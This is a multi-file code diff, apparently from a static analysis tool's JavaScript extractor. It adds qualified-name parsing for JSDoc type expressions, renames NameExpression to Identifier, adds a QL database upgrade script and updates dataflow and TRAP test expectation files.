| A.java:27:16:27:18 | "E" : String | A.java:5:18:5:25 | e : String |
|
||||
| A.java:27:16:27:18 | "E" : String | A.java:5:28:5:40 | SSA def(e) : String |
|
||||
| A.java:27:16:27:18 | "E" : String | A.java:5:30:5:33 | this <.field> [post update] : Box [elem] |
|
||||
| A.java:27:16:27:18 | "E" : String | A.java:5:30:5:37 | ...=... : String |
|
||||
| A.java:27:16:27:18 | "E" : String | A.java:5:37:5:37 | e : String |
|
||||
| A.java:27:16:27:18 | "E" : String | A.java:6:12:6:18 | parameter this : Box [elem] |
|
||||
| A.java:27:16:27:18 | "E" : String | A.java:6:31:6:34 | elem : String |
|
||||
| A.java:27:16:27:18 | "E" : String | A.java:6:31:6:34 | this <.field> : Box [elem] |
|
||||
| A.java:27:16:27:18 | "E" : String | A.java:14:7:14:20 | SSA def(a) : new A(...) { ... } [Box b2, ... (2)] |
|
||||
| A.java:27:16:27:18 | "E" : String | A.java:14:11:14:20 | f2(...) : new A(...) { ... } [Box b2, ... (2)] |
|
||||
| A.java:27:16:27:18 | "E" : String | A.java:15:16:15:16 | a : new A(...) { ... } [Box b2, ... (2)] |
|
||||
| A.java:27:16:27:18 | "E" : String | A.java:15:16:15:22 | get(...) : String |
|
||||
| A.java:27:16:27:18 | "E" : String | A.java:27:5:27:6 | b2 [post update] : Box [elem] |
|
||||
| A.java:27:16:27:18 | "E" : String | A.java:28:7:38:5 | SSA def(a) : new A(...) { ... } [Box b2, ... (2)] |
|
||||
| A.java:27:16:27:18 | "E" : String | A.java:28:11:38:5 | Box b2 : Box [elem] |
|
||||
| A.java:27:16:27:18 | "E" : String | A.java:28:11:38:5 | new (...) : new A(...) { ... } [Box b2, ... (2)] |
|
||||
| A.java:27:16:27:18 | "E" : String | A.java:30:14:30:16 | parameter this : new A(...) { ... } [Box b2, ... (2)] |
|
||||
|
||||
@@ -1,6 +1,4 @@
|
||||
| A.java:5:18:5:21 | null | A.java:2:13:2:20 | o |
|
||||
| A.java:5:18:5:21 | null | A.java:5:12:5:21 | SSA def(src) |
|
||||
| A.java:5:18:5:21 | null | A.java:5:18:5:21 | null |
|
||||
| A.java:5:18:5:21 | null | A.java:6:12:6:18 | SSA def(x) |
|
||||
| A.java:5:18:5:21 | null | A.java:6:16:6:18 | src |
|
||||
| A.java:5:18:5:21 | null | A.java:7:10:7:10 | x |
|
||||
|
||||
@@ -3,14 +3,12 @@ edges
|
||||
| A.java:12:14:12:18 | src(...) : Object | A.java:12:5:12:5 | b [post update] : Box [elem] |
|
||||
| A.java:12:14:12:18 | src(...) : Object | A.java:12:5:12:18 | ...=... : Object |
|
||||
| A.java:13:12:13:12 | b : Box [elem] | A.java:17:13:17:16 | f1(...) : Box [elem] |
|
||||
| A.java:17:9:17:16 | SSA def(b) : Box [elem] | A.java:18:8:18:8 | b : Box [elem] |
|
||||
| A.java:17:13:17:16 | f1(...) : Box [elem] | A.java:17:9:17:16 | SSA def(b) : Box [elem] |
|
||||
| A.java:17:13:17:16 | f1(...) : Box [elem] | A.java:18:8:18:8 | b : Box [elem] |
|
||||
| A.java:18:8:18:8 | b : Box [elem] | A.java:21:11:21:15 | b : Box [elem] |
|
||||
#select
|
||||
| 0 | A.java:12:5:12:5 | b [post update] : Box [elem] |
|
||||
| 0 | A.java:12:5:12:18 | ...=... : Object |
|
||||
| 0 | A.java:13:12:13:12 | b : Box [elem] |
|
||||
| 1 | A.java:17:9:17:16 | SSA def(b) : Box [elem] |
|
||||
| 1 | A.java:17:13:17:16 | f1(...) : Box [elem] |
|
||||
| 1 | A.java:18:8:18:8 | b : Box [elem] |
|
||||
| 2 | A.java:21:11:21:15 | b : Box [elem] |
|
||||
|
||||
@@ -2,8 +2,7 @@ edges
|
||||
| A.java:4:16:4:18 | parameter this [Return] [elem] | A.java:22:17:22:25 | new Box(...) [elem] |
|
||||
| A.java:4:16:4:18 | this <constr(this)> [post update] [elem] | A.java:4:16:4:18 | parameter this [Return] [elem] |
|
||||
| A.java:5:19:5:22 | elem | A.java:24:10:24:19 | other.elem |
|
||||
| A.java:22:9:22:25 | SSA def(other) [elem] | A.java:23:13:23:17 | other [elem] |
|
||||
| A.java:22:17:22:25 | new Box(...) [elem] | A.java:22:9:22:25 | SSA def(other) [elem] |
|
||||
| A.java:22:17:22:25 | new Box(...) [elem] | A.java:23:13:23:17 | other [elem] |
|
||||
| A.java:23:13:23:17 | other [elem] | A.java:24:10:24:14 | other [elem] |
|
||||
| A.java:23:13:23:17 | other [post update] [elem] | A.java:24:10:24:14 | other [elem] |
|
||||
| A.java:24:10:24:14 | other [elem] | A.java:24:10:24:19 | other.elem |
|
||||
@@ -11,7 +10,6 @@ edges
|
||||
| A.java:28:5:28:5 | b [post update] [elem] | A.java:27:16:27:20 | b [Return] [elem] |
|
||||
| A.java:28:14:28:25 | new Object(...) | A.java:28:5:28:5 | b [post update] [elem] |
|
||||
#select
|
||||
| 0 | A.java:22:9:22:25 | SSA def(other) [elem] |
|
||||
| 0 | A.java:22:17:22:25 | new Box(...) [elem] |
|
||||
| 0 | A.java:23:13:23:17 | other [elem] |
|
||||
| 0 | A.java:23:13:23:17 | other [post update] [elem] |
|
||||
|
||||
@@ -1,13 +1,9 @@
|
||||
| TestSwitchExpr.java:4:15:4:22 | o |
|
||||
| TestSwitchExpr.java:7:16:7:28 | SSA def(x1) |
|
||||
| TestSwitchExpr.java:7:21:7:28 | source(...) |
|
||||
| TestSwitchExpr.java:8:16:8:30 | SSA def(x2) |
|
||||
| TestSwitchExpr.java:8:21:8:30 | switch (...) |
|
||||
| TestSwitchExpr.java:10:24:10:25 | x1 |
|
||||
| TestSwitchExpr.java:12:16:12:30 | SSA def(x3) |
|
||||
| TestSwitchExpr.java:12:21:12:30 | switch (...) |
|
||||
| TestSwitchExpr.java:13:38:13:39 | x2 |
|
||||
| TestSwitchExpr.java:16:16:16:30 | SSA def(x4) |
|
||||
| TestSwitchExpr.java:16:21:16:30 | switch (...) |
|
||||
| TestSwitchExpr.java:19:23:19:24 | x3 |
|
||||
| TestSwitchExpr.java:23:14:23:15 | x4 |
|
||||
|
||||
@@ -1,24 +1,19 @@
|
||||
| Test.java:12:15:12:47 | SSA def(inp) |
|
||||
| Test.java:12:21:12:47 | new FileInputStream(...) |
|
||||
| Test.java:14:21:14:39 | buffer(...) |
|
||||
| Test.java:14:36:14:38 | inp |
|
||||
| Test.java:15:16:15:54 | SSA def(lines) |
|
||||
| Test.java:15:24:15:54 | readLines(...) |
|
||||
| Test.java:15:42:15:44 | inp |
|
||||
| Test.java:16:18:16:45 | readFully(...) |
|
||||
| Test.java:16:36:16:38 | inp |
|
||||
| Test.java:17:22:17:55 | toBufferedInputStream(...) |
|
||||
| Test.java:17:52:17:54 | inp |
|
||||
| Test.java:18:10:18:71 | SSA def(bufread) |
|
||||
| Test.java:18:20:18:71 | toBufferedReader(...) |
|
||||
| Test.java:18:45:18:70 | new InputStreamReader(...) |
|
||||
| Test.java:18:67:18:69 | inp |
|
||||
| Test.java:19:19:19:48 | toByteArray(...) |
|
||||
| Test.java:19:39:19:41 | inp |
|
||||
| Test.java:20:10:20:50 | SSA def(chars) |
|
||||
| Test.java:20:18:20:50 | toCharArray(...) |
|
||||
| Test.java:20:38:20:40 | inp |
|
||||
| Test.java:21:10:21:43 | SSA def(s) |
|
||||
| Test.java:21:14:21:43 | toString(...) |
|
||||
| Test.java:21:31:21:33 | inp |
|
||||
| Test.java:22:20:22:52 | toInputStream(...) |
|
||||
|
||||
@@ -10,13 +10,11 @@
|
||||
| A.java:20:16:20:16 | this <.field> |
|
||||
| A.java:21:12:21:20 | getThis(...) |
|
||||
| A.java:21:12:21:20 | this <.method> |
|
||||
| A.java:25:7:25:17 | SSA def(a) |
|
||||
| A.java:25:11:25:17 | new A(...) |
|
||||
| A.java:25:11:25:17 | new A(...) [pre constructor] |
|
||||
| A.java:26:12:26:12 | a |
|
||||
| A.java:26:12:26:22 | getThis(...) |
|
||||
| A.java:26:12:26:36 | getThisWrap(...) |
|
||||
| A.java:27:7:27:17 | SSA def(c) |
|
||||
| A.java:27:11:27:17 | new C(...) |
|
||||
| A.java:27:11:27:17 | new C(...) [pre constructor] |
|
||||
| A.java:28:5:28:5 | c |
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
// Removes all nodes nested inside a qualified type access,
|
||||
// and changes qualified type access nodes to "named type" nodes.
|
||||
//
|
||||
/*
|
||||
* jsdoc_type_exprs (unique int id: @jsdoc_type_expr,
|
||||
* int kind: int ref,
|
||||
* int parent: @jsdoc_type_expr_parent ref,
|
||||
* int idx: int ref,
|
||||
* varchar(900) tostring: string ref);
|
||||
*/
|
||||
|
||||
class JSDocTypeExprParent extends @jsdoc_type_expr_parent {
|
||||
string toString() { none() }
|
||||
}
|
||||
|
||||
class JSDocTypeExpr extends @jsdoc_type_expr {
|
||||
string toString() { none() }
|
||||
|
||||
JSDocTypeExpr getChild(int n) { jsdoc_type_exprs(result, _, this, n, _) }
|
||||
|
||||
int getNewKind() { jsdoc_type_exprs(this, result, _, _, _) }
|
||||
|
||||
predicate shouldRemove() { this = any(JSDocQualifiedTypeAccess a).getChild(_) }
|
||||
}
|
||||
|
||||
class JSDocQualifiedTypeAccess extends @jsdoc_qualified_type_expr, JSDocTypeExpr {
|
||||
override int getNewKind() {
|
||||
result = 5
|
||||
/* 5 = @jsdoc_named_type_expr */
|
||||
}
|
||||
}
|
||||
|
||||
from JSDocTypeExpr node, JSDocTypeExprParent parent, int idx, string tostring
|
||||
where
|
||||
jsdoc_type_exprs(node, _, parent, idx, tostring) and
|
||||
not node.shouldRemove()
|
||||
select node, node.getNewKind(), parent, idx, tostring
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,4 @@
|
||||
description: split up qualified names in jsdoc type exprs
|
||||
compatibility: backwards
|
||||
|
||||
jsdoc_type_exprs.rel: run jsdoc_type_exprs.ql
|
||||
@@ -2,12 +2,12 @@ package com.semmle.js.ast.jsdoc;
|
||||
|
||||
import com.semmle.js.ast.SourceLocation;
|
||||
|
||||
/** A named JSDoc type. */
|
||||
public class NameExpression extends JSDocTypeExpression {
|
||||
/** An identifier in a JSDoc type. */
|
||||
public class Identifier extends JSDocTypeExpression {
|
||||
private final String name;
|
||||
|
||||
public NameExpression(SourceLocation loc, String name) {
|
||||
super(loc, "NameExpression");
|
||||
public Identifier(SourceLocation loc, String name) {
|
||||
super(loc, "Identifier");
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
package com.semmle.js.ast.jsdoc;
|
||||
|
||||
import com.semmle.js.ast.SourceLocation;
|
||||
|
||||
/** A qualified name in a JSDoc type. */
|
||||
public class QualifiedNameExpression extends JSDocTypeExpression {
|
||||
private final JSDocTypeExpression base;
|
||||
private final Identifier name;
|
||||
|
||||
public QualifiedNameExpression(SourceLocation loc, JSDocTypeExpression base, Identifier name) {
|
||||
super(loc, "QualifiedNameExpression");
|
||||
this.base = base;
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void accept(Visitor v) {
|
||||
v.visit(this);
|
||||
}
|
||||
|
||||
/** Returns the expression on the left side of the dot character. */
|
||||
public JSDocTypeExpression getBase() {
|
||||
return base;
|
||||
}
|
||||
|
||||
/** Returns the identifier on the right-hand side of the dot character. */
|
||||
public Identifier getNameNode() {
|
||||
return name;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String pp() {
|
||||
return base.pp() + "." + name.pp();
|
||||
}
|
||||
}
|
||||
@@ -10,7 +10,9 @@ public interface Visitor {
|
||||
|
||||
public void visit(JSDocTag nd);
|
||||
|
||||
public void visit(NameExpression nd);
|
||||
public void visit(Identifier nd);
|
||||
|
||||
public void visit(QualifiedNameExpression nd);
|
||||
|
||||
public void visit(NullableLiteral nd);
|
||||
|
||||
|
||||
@@ -9,13 +9,14 @@ import com.semmle.js.ast.jsdoc.JSDocComment;
|
||||
import com.semmle.js.ast.jsdoc.JSDocElement;
|
||||
import com.semmle.js.ast.jsdoc.JSDocTag;
|
||||
import com.semmle.js.ast.jsdoc.JSDocTypeExpression;
|
||||
import com.semmle.js.ast.jsdoc.NameExpression;
|
||||
import com.semmle.js.ast.jsdoc.Identifier;
|
||||
import com.semmle.js.ast.jsdoc.NonNullableType;
|
||||
import com.semmle.js.ast.jsdoc.NullLiteral;
|
||||
import com.semmle.js.ast.jsdoc.NullableLiteral;
|
||||
import com.semmle.js.ast.jsdoc.NullableType;
|
||||
import com.semmle.js.ast.jsdoc.OptionalType;
|
||||
import com.semmle.js.ast.jsdoc.ParameterType;
|
||||
import com.semmle.js.ast.jsdoc.QualifiedNameExpression;
|
||||
import com.semmle.js.ast.jsdoc.RecordType;
|
||||
import com.semmle.js.ast.jsdoc.RestType;
|
||||
import com.semmle.js.ast.jsdoc.TypeApplication;
|
||||
@@ -42,7 +43,7 @@ public class JSDocExtractor {
|
||||
jsdocTypeExprKinds.put("UndefinedLiteral", 2);
|
||||
jsdocTypeExprKinds.put("NullableLiteral", 3);
|
||||
jsdocTypeExprKinds.put("VoidLiteral", 4);
|
||||
jsdocTypeExprKinds.put("NameExpression", 5);
|
||||
jsdocTypeExprKinds.put("Identifier", 5);
|
||||
jsdocTypeExprKinds.put("TypeApplication", 6);
|
||||
jsdocTypeExprKinds.put("NullableType", 7);
|
||||
jsdocTypeExprKinds.put("NonNullableType", 8);
|
||||
@@ -52,6 +53,7 @@ public class JSDocExtractor {
|
||||
jsdocTypeExprKinds.put("FunctionType", 12);
|
||||
jsdocTypeExprKinds.put("OptionalType", 13);
|
||||
jsdocTypeExprKinds.put("RestType", 14);
|
||||
jsdocTypeExprKinds.put("QualifiedNameExpression", 15);
|
||||
}
|
||||
|
||||
private final TrapWriter trapwriter;
|
||||
@@ -122,10 +124,17 @@ public class JSDocExtractor {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visit(NameExpression nd) {
|
||||
public void visit(Identifier nd) {
|
||||
visit((JSDocTypeExpression) nd);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visit(QualifiedNameExpression nd) {
|
||||
Label label = visit((JSDocTypeExpression) nd);
|
||||
visit(nd.getBase(), label, 0);
|
||||
visit(nd.getNameNode(), label, 1);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visit(NullableLiteral nd) {
|
||||
visit((JSDocTypeExpression) nd);
|
||||
|
||||
@@ -42,7 +42,7 @@ public class Main {
|
||||
* A version identifier that should be updated every time the extractor changes in such a way that
|
||||
* it may produce different tuples for the same file under the same {@link ExtractorConfig}.
|
||||
*/
|
||||
public static final String EXTRACTOR_VERSION = "2025-02-03";
|
||||
public static final String EXTRACTOR_VERSION = "2025-03-20";
|
||||
|
||||
public static final Pattern NEWLINE = Pattern.compile("\n");
|
||||
|
||||
|
||||
@@ -10,13 +10,14 @@ import com.semmle.js.ast.jsdoc.FunctionType;
|
||||
import com.semmle.js.ast.jsdoc.JSDocComment;
|
||||
import com.semmle.js.ast.jsdoc.JSDocTag;
|
||||
import com.semmle.js.ast.jsdoc.JSDocTypeExpression;
|
||||
import com.semmle.js.ast.jsdoc.NameExpression;
|
||||
import com.semmle.js.ast.jsdoc.Identifier;
|
||||
import com.semmle.js.ast.jsdoc.NonNullableType;
|
||||
import com.semmle.js.ast.jsdoc.NullLiteral;
|
||||
import com.semmle.js.ast.jsdoc.NullableLiteral;
|
||||
import com.semmle.js.ast.jsdoc.NullableType;
|
||||
import com.semmle.js.ast.jsdoc.OptionalType;
|
||||
import com.semmle.js.ast.jsdoc.ParameterType;
|
||||
import com.semmle.js.ast.jsdoc.QualifiedNameExpression;
|
||||
import com.semmle.js.ast.jsdoc.RecordType;
|
||||
import com.semmle.js.ast.jsdoc.RestType;
|
||||
import com.semmle.js.ast.jsdoc.TypeApplication;
|
||||
@@ -70,30 +71,6 @@ public class JSDocParser {
|
||||
return new JSDocComment(comment, r.fst(), tags);
|
||||
}
|
||||
|
||||
/** Specification of Doctrine AST types for JSDoc type expressions. */
|
||||
private static final Map<Class<? extends JSDocTypeExpression>, List<String>> spec =
|
||||
new LinkedHashMap<Class<? extends JSDocTypeExpression>, List<String>>();
|
||||
|
||||
static {
|
||||
spec.put(AllLiteral.class, Arrays.<String>asList());
|
||||
spec.put(ArrayType.class, Arrays.asList("elements"));
|
||||
spec.put(FieldType.class, Arrays.asList("key", "value"));
|
||||
spec.put(FunctionType.class, Arrays.asList("this", "new", "params", "result"));
|
||||
spec.put(NameExpression.class, Arrays.asList("name"));
|
||||
spec.put(NonNullableType.class, Arrays.asList("expression", "prefix"));
|
||||
spec.put(NullableLiteral.class, Arrays.<String>asList());
|
||||
spec.put(NullLiteral.class, Arrays.<String>asList());
|
||||
spec.put(NullableType.class, Arrays.asList("expression", "prefix"));
|
||||
spec.put(OptionalType.class, Arrays.asList("expression"));
|
||||
spec.put(ParameterType.class, Arrays.asList("name", "expression"));
|
||||
spec.put(RecordType.class, Arrays.asList("fields"));
|
||||
spec.put(RestType.class, Arrays.asList("expression"));
|
||||
spec.put(TypeApplication.class, Arrays.asList("expression", "applications"));
|
||||
spec.put(UndefinedLiteral.class, Arrays.<String>asList());
|
||||
spec.put(UnionType.class, Arrays.asList("elements"));
|
||||
spec.put(VoidLiteral.class, Arrays.<String>asList());
|
||||
}
|
||||
|
||||
private static String sliceSource(String source, int index, int last) {
|
||||
if (index >= source.length()) return "";
|
||||
if (last > source.length()) last = source.length();
|
||||
@@ -137,7 +114,7 @@ public class JSDocParser {
|
||||
}
|
||||
|
||||
private static boolean isTypeName(char ch) {
|
||||
return "><(){}[],:*|?!=".indexOf(ch) == -1 && !isWhiteSpace(ch) && !isLineTerminator(ch);
|
||||
return "><(){}[],:*|?!=.".indexOf(ch) == -1 && !isWhiteSpace(ch) && !isLineTerminator(ch);
|
||||
}
|
||||
|
||||
private static boolean isParamTitle(String title) {
|
||||
@@ -559,20 +536,9 @@ public class JSDocParser {
|
||||
}
|
||||
|
||||
private Token scanTypeName() {
|
||||
char ch, ch2;
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
sb.append((char)advance());
|
||||
while (index < endIndex && isTypeName(source.charAt(index))) {
|
||||
ch = source.charAt(index);
|
||||
if (ch == '.') {
|
||||
if ((index + 1) < endIndex) {
|
||||
ch2 = source.charAt(index + 1);
|
||||
if (ch2 == '<') {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
sb.append((char)advance());
|
||||
}
|
||||
value = sb.toString();
|
||||
@@ -850,11 +816,24 @@ public class JSDocParser {
|
||||
return finishNode(new RecordType(loc, fields));
|
||||
}
|
||||
|
||||
private JSDocTypeExpression parseNameExpression() throws ParseError {
|
||||
Object name = value;
|
||||
private Identifier parseIdentifier() throws ParseError {
|
||||
SourceLocation loc = loc();
|
||||
Object value = this.value; // save the value of the current token
|
||||
expect(Token.NAME);
|
||||
return finishNode(new NameExpression(loc, name.toString()));
|
||||
return finishNode(new Identifier(loc, value.toString()));
|
||||
}
|
||||
|
||||
private JSDocTypeExpression parseNameExpression() throws ParseError {
|
||||
JSDocTypeExpression node = parseIdentifier();
|
||||
while (token == Token.DOT) {
|
||||
consume(Token.DOT);
|
||||
Identifier memberName = parseIdentifier();
|
||||
// Create a SourceLocation object with the correct start location.
|
||||
// The call to finishNode() will set the end location.
|
||||
SourceLocation loc = new SourceLocation(node.getLoc());
|
||||
node = finishNode(new QualifiedNameExpression(loc, node, memberName));
|
||||
}
|
||||
return node;
|
||||
}
|
||||
|
||||
// TypeExpressionList :=
|
||||
@@ -947,14 +926,14 @@ public class JSDocParser {
|
||||
|
||||
SourceLocation loc = loc();
|
||||
expr = parseTypeExpression();
|
||||
if (expr instanceof NameExpression && token == Token.COLON) {
|
||||
if (expr instanceof Identifier && token == Token.COLON) {
|
||||
// Identifier ':' TypeExpression
|
||||
consume(Token.COLON);
|
||||
expr =
|
||||
finishNode(
|
||||
new ParameterType(
|
||||
new SourceLocation(loc),
|
||||
((NameExpression) expr).getName(),
|
||||
((Identifier) expr).getName(),
|
||||
parseTypeExpression()));
|
||||
}
|
||||
if (token == Token.EQUAL) {
|
||||
@@ -1130,7 +1109,7 @@ public class JSDocParser {
|
||||
consume(Token.RBRACK, "expected an array-style type declaration (' + value + '[])");
|
||||
List<JSDocTypeExpression> expressions = new ArrayList<>();
|
||||
expressions.add(expr);
|
||||
NameExpression nameExpr = finishNode(new NameExpression(new SourceLocation(loc), "Array"));
|
||||
Identifier nameExpr = finishNode(new Identifier(new SourceLocation(loc), "Array"));
|
||||
return finishNode(new TypeApplication(loc, nameExpr, expressions));
|
||||
}
|
||||
|
||||
@@ -1551,9 +1530,9 @@ public class JSDocParser {
|
||||
// fixed at the end
|
||||
if (isParamTitle(this._title)
|
||||
&& this._tag.type != null
|
||||
&& this._tag.type instanceof NameExpression) {
|
||||
this._extra_name = ((NameExpression) this._tag.type).getName();
|
||||
this._tag.name = ((NameExpression) this._tag.type).getName();
|
||||
&& this._tag.type instanceof Identifier) {
|
||||
this._extra_name = ((Identifier) this._tag.type).getName();
|
||||
this._tag.name = ((Identifier) this._tag.type).getName();
|
||||
this._tag.type = null;
|
||||
} else {
|
||||
if (!this.addError("Missing or invalid tag name")) {
|
||||
@@ -1669,7 +1648,7 @@ public class JSDocParser {
|
||||
Position start = new Position(_tag.startLine, _tag.startColumn, _tag.startColumn);
|
||||
Position end = new Position(_tag.startLine, _tag.startColumn, _tag.startColumn);
|
||||
SourceLocation loc = new SourceLocation(_extra_name, start, end);
|
||||
this._tag.type = new NameExpression(loc, _extra_name);
|
||||
this._tag.type = new Identifier(loc, _extra_name);
|
||||
}
|
||||
this._tag.name = null;
|
||||
|
||||
|
||||
@@ -517,150 +517,170 @@ jsdoc_type_exprs(#20157,4,#20145,-1,"void")
|
||||
locations_default(#20158,#10000,11,60,11,63)
|
||||
hasLocation(#20157,#20158)
|
||||
#20159=*
|
||||
jsdoc_type_exprs(#20159,5,#20145,-2,"goog.ui.Menu")
|
||||
jsdoc_type_exprs(#20159,15,#20145,-2,"goog.ui.Menu")
|
||||
#20160=@"loc,{#10000},11,26,11,37"
|
||||
locations_default(#20160,#10000,11,26,11,37)
|
||||
hasLocation(#20159,#20160)
|
||||
jsdoc_has_new_parameter(#20145)
|
||||
#20161=*
|
||||
jsdoc_tags(#20161,"param",#20117,4,"@param")
|
||||
#20162=@"loc,{#10000},12,5,12,10"
|
||||
locations_default(#20162,#10000,12,5,12,10)
|
||||
jsdoc_type_exprs(#20161,15,#20159,0,"goog.ui")
|
||||
#20162=@"loc,{#10000},11,26,11,32"
|
||||
locations_default(#20162,#10000,11,26,11,32)
|
||||
hasLocation(#20161,#20162)
|
||||
jsdoc_tag_names(#20161,"var_args")
|
||||
#20163=*
|
||||
jsdoc_type_exprs(#20163,14,#20161,0,"...number")
|
||||
#20164=@"loc,{#10000},12,13,12,21"
|
||||
locations_default(#20164,#10000,12,13,12,21)
|
||||
jsdoc_type_exprs(#20163,5,#20161,0,"goog")
|
||||
#20164=@"loc,{#10000},11,26,11,29"
|
||||
locations_default(#20164,#10000,11,26,11,29)
|
||||
hasLocation(#20163,#20164)
|
||||
#20165=*
|
||||
jsdoc_type_exprs(#20165,5,#20163,0,"number")
|
||||
#20166=@"loc,{#10000},12,16,12,21"
|
||||
locations_default(#20166,#10000,12,16,12,21)
|
||||
jsdoc_type_exprs(#20165,5,#20161,1,"ui")
|
||||
#20166=@"loc,{#10000},11,31,11,32"
|
||||
locations_default(#20166,#10000,11,31,11,32)
|
||||
hasLocation(#20165,#20166)
|
||||
#20167=*
|
||||
jsdoc(#20167,"",#20010)
|
||||
hasLocation(#20167,#20011)
|
||||
#20168=*
|
||||
jsdoc_tags(#20168,"param",#20167,0,"@param")
|
||||
#20169=@"loc,{#10000},15,4,15,9"
|
||||
locations_default(#20169,#10000,15,4,15,9)
|
||||
hasLocation(#20168,#20169)
|
||||
#20170=*
|
||||
jsdoc_errors(#20170,#20168,"Missing or invalid tag name","Missing ... ag name")
|
||||
jsdoc_type_exprs(#20167,5,#20159,1,"Menu")
|
||||
#20168=@"loc,{#10000},11,34,11,37"
|
||||
locations_default(#20168,#10000,11,34,11,37)
|
||||
hasLocation(#20167,#20168)
|
||||
jsdoc_has_new_parameter(#20145)
|
||||
#20169=*
|
||||
jsdoc_tags(#20169,"param",#20117,4,"@param")
|
||||
#20170=@"loc,{#10000},12,5,12,10"
|
||||
locations_default(#20170,#10000,12,5,12,10)
|
||||
hasLocation(#20169,#20170)
|
||||
jsdoc_tag_names(#20169,"var_args")
|
||||
#20171=*
|
||||
jsdoc_tags(#20171,"param",#20167,1,"@param")
|
||||
#20172=@"loc,{#10000},16,4,16,9"
|
||||
locations_default(#20172,#10000,16,4,16,9)
|
||||
jsdoc_type_exprs(#20171,14,#20169,0,"...number")
|
||||
#20172=@"loc,{#10000},12,13,12,21"
|
||||
locations_default(#20172,#10000,12,13,12,21)
|
||||
hasLocation(#20171,#20172)
|
||||
jsdoc_tag_names(#20171,"x")
|
||||
#20173=*
|
||||
jsdoc(#20173,"",#20012)
|
||||
hasLocation(#20173,#20013)
|
||||
#20174=*
|
||||
jsdoc_tags(#20174,"",#20173,0,"@")
|
||||
#20175=@"loc,{#10000},20,4,20,4"
|
||||
locations_default(#20175,#10000,20,4,20,4)
|
||||
hasLocation(#20174,#20175)
|
||||
jsdoc_tag_descriptions(#20174,"{link a}")
|
||||
jsdoc_type_exprs(#20173,5,#20171,0,"number")
|
||||
#20174=@"loc,{#10000},12,16,12,21"
|
||||
locations_default(#20174,#10000,12,16,12,21)
|
||||
hasLocation(#20173,#20174)
|
||||
#20175=*
|
||||
jsdoc(#20175,"",#20010)
|
||||
hasLocation(#20175,#20011)
|
||||
#20176=*
|
||||
jsdoc_errors(#20176,#20174,"Missing or invalid title","Missing ... d title")
|
||||
#20177=*
|
||||
jsdoc(#20177,"",#20014)
|
||||
hasLocation(#20177,#20015)
|
||||
jsdoc_tags(#20176,"param",#20175,0,"@param")
|
||||
#20177=@"loc,{#10000},15,4,15,9"
|
||||
locations_default(#20177,#10000,15,4,15,9)
|
||||
hasLocation(#20176,#20177)
|
||||
#20178=*
|
||||
jsdoc_tags(#20178,"typedef",#20177,0,"@typedef")
|
||||
#20179=@"loc,{#10000},24,4,24,11"
|
||||
locations_default(#20179,#10000,24,4,24,11)
|
||||
hasLocation(#20178,#20179)
|
||||
jsdoc_tag_descriptions(#20178,"{a}")
|
||||
#20180=*
|
||||
jsdoc_errors(#20180,#20178,"Missing or invalid tag type","Missing ... ag type")
|
||||
jsdoc_errors(#20178,#20176,"Missing or invalid tag name","Missing ... ag name")
|
||||
#20179=*
|
||||
jsdoc_tags(#20179,"param",#20175,1,"@param")
|
||||
#20180=@"loc,{#10000},16,4,16,9"
|
||||
locations_default(#20180,#10000,16,4,16,9)
|
||||
hasLocation(#20179,#20180)
|
||||
jsdoc_tag_names(#20179,"x")
|
||||
#20181=*
|
||||
jsdoc(#20181,"[resize description]",#20016)
|
||||
hasLocation(#20181,#20017)
|
||||
jsdoc(#20181,"",#20012)
|
||||
hasLocation(#20181,#20013)
|
||||
#20182=*
|
||||
jsdoc_tags(#20182,"param",#20181,0,"@param")
|
||||
#20183=@"loc,{#10000},30,4,30,9"
|
||||
locations_default(#20183,#10000,30,4,30,9)
|
||||
jsdoc_tags(#20182,"",#20181,0,"@")
|
||||
#20183=@"loc,{#10000},20,4,20,4"
|
||||
locations_default(#20183,#10000,20,4,20,4)
|
||||
hasLocation(#20182,#20183)
|
||||
jsdoc_tag_descriptions(#20182,"[description]
|
||||
")
|
||||
jsdoc_tag_names(#20182,"w")
|
||||
jsdoc_tag_descriptions(#20182,"{link a}")
|
||||
#20184=*
|
||||
jsdoc_type_exprs(#20184,10,#20182,0,"[type]")
|
||||
#20185=@"loc,{#10000},30,13,30,18"
|
||||
locations_default(#20185,#10000,30,13,30,18)
|
||||
hasLocation(#20184,#20185)
|
||||
jsdoc_errors(#20184,#20182,"Missing or invalid title","Missing ... d title")
|
||||
#20185=*
|
||||
jsdoc(#20185,"",#20014)
|
||||
hasLocation(#20185,#20015)
|
||||
#20186=*
|
||||
jsdoc_type_exprs(#20186,5,#20184,0,"type")
|
||||
#20187=@"loc,{#10000},30,14,30,17"
|
||||
locations_default(#20187,#10000,30,14,30,17)
|
||||
jsdoc_tags(#20186,"typedef",#20185,0,"@typedef")
|
||||
#20187=@"loc,{#10000},24,4,24,11"
|
||||
locations_default(#20187,#10000,24,4,24,11)
|
||||
hasLocation(#20186,#20187)
|
||||
jsdoc_tag_descriptions(#20186,"{a}")
|
||||
#20188=*
|
||||
jsdoc_tags(#20188,"param",#20181,1,"@param")
|
||||
#20189=@"loc,{#10000},31,4,31,9"
|
||||
locations_default(#20189,#10000,31,4,31,9)
|
||||
hasLocation(#20188,#20189)
|
||||
jsdoc_tag_descriptions(#20188,"[description]
|
||||
")
|
||||
jsdoc_errors(#20188,#20186,"Missing or invalid tag type","Missing ... ag type")
|
||||
#20189=*
|
||||
jsdoc(#20189,"[resize description]",#20016)
|
||||
hasLocation(#20189,#20017)
|
||||
#20190=*
|
||||
jsdoc_tags(#20190,"return",#20181,2,"@return")
|
||||
#20191=@"loc,{#10000},32,4,32,10"
|
||||
locations_default(#20191,#10000,32,4,32,10)
|
||||
jsdoc_tags(#20190,"param",#20189,0,"@param")
|
||||
#20191=@"loc,{#10000},30,4,30,9"
|
||||
locations_default(#20191,#10000,30,4,30,9)
|
||||
hasLocation(#20190,#20191)
|
||||
jsdoc_tag_descriptions(#20190,"[description]")
|
||||
jsdoc_tag_descriptions(#20190,"[description]
|
||||
")
|
||||
